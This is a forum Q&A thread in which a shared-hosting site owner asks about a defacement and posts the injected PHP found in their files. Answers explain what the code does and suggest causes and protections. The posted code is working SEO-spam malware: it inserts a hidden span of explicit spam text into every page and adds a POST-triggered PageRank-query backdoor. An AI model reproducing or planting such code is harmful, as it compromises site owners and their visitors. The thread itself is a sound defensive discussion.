my site got defaced. how to protect myself on shared hosting? - php

Question

i have godaddy shared hosting and the site got defaced. whose at fault? the site is created with php is it possible the person can get in through some vunerability on my site and modify a file? or is that all through server side being that godaddy wasnt secure enough?
this is what was injected in a file. what does it do?
<?php
//{{1311051f
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function outputxxx_callback($str)
{
$links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805">blow jobs teen<br></div></SPAN>';
preg_match("|</body>|si",$str,$arr);
return str_replace($arr[0],$links.$arr[0],$str);
}
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
else
ob_start('outputxxx_callback');
error_reporting($olderrxxx);
}
//}}75671d8f
?>

Answer 1

Chances are it was an exploit from a package you use on your site (such as phpBB, phpNuke, etc.) people crawl the web looking for the vulnerable hosts and exploit the ones they can. The code is open-source and readily available so there's not much you can do for protection other than use the latest version.
Companies like PacketStormSecurity make it easy for "skript kiddies" to find a PoC (Proof of Concept) script and they take it upon themselves to try it on every site they can. Some are as easy as a crafted google query to find a list of potential targets.
You may be able to look through your logs for a GET url that resulted in the exploit, but best-case scenario is just stay as up-to-date as possible, and never rely on your host to make restore-able backups of your site.

Answer 2

The real deal to this hack is here: http://frazierit.com/blog/?p=103
No SQL injection, no secret sauce, these guys were listening to the wire, or there is an agent on some machine that you use passing keystrokes their way, and you were using a clear text password FTP to work with your site. They gained FTP access to your site, and systematically injected code into .php and .html pages on your site. They are building/have built a distributed network of page ranking testers via numerous ISPs. Probably to validate SEO operations. Easy to clean, just need to go some command line regex work.
-Drew

Answer 3

The script allows someone to specify a URL to the script using the variable xxxprch. It checks the hash of the URL to make sure it conforms to some standard and searches google for the URL. It then checks to see if there is the word "rank_" in the search results and gets the next 9 characters following "rank_" and returns them to be displayed on the user screen.
If the user didn't specify a variable in xxxprch then it automatically writes out to the page links to a sexually explicit website.
Note: If you get a Virtual Private Server (can be found for as cheap as $3 a month), you can install mod_security which prevents a lot of these types of attacks. On the other hand you would then need to keep the OS up to date.

Answer 4

I hate to say this but you are at fault. SQL/HTML/JS/code injection is your responsibility to handle. Also choosing a strong password is critical. It is totally possible for anyone to find a vulnerability and do anything.
It looks like that code is injecting links and somehow getting the Google page rank for some reason.
I think it falls under one of the Pragmatic Programmer's principles:
``select’’ Isn’t Broken It is rare to
find a bug in the OS or the compiler,
or even a third-party product or
library. The bug is most likely in the
application.
Replace OS/compiler/3rd-party library with shared hosting.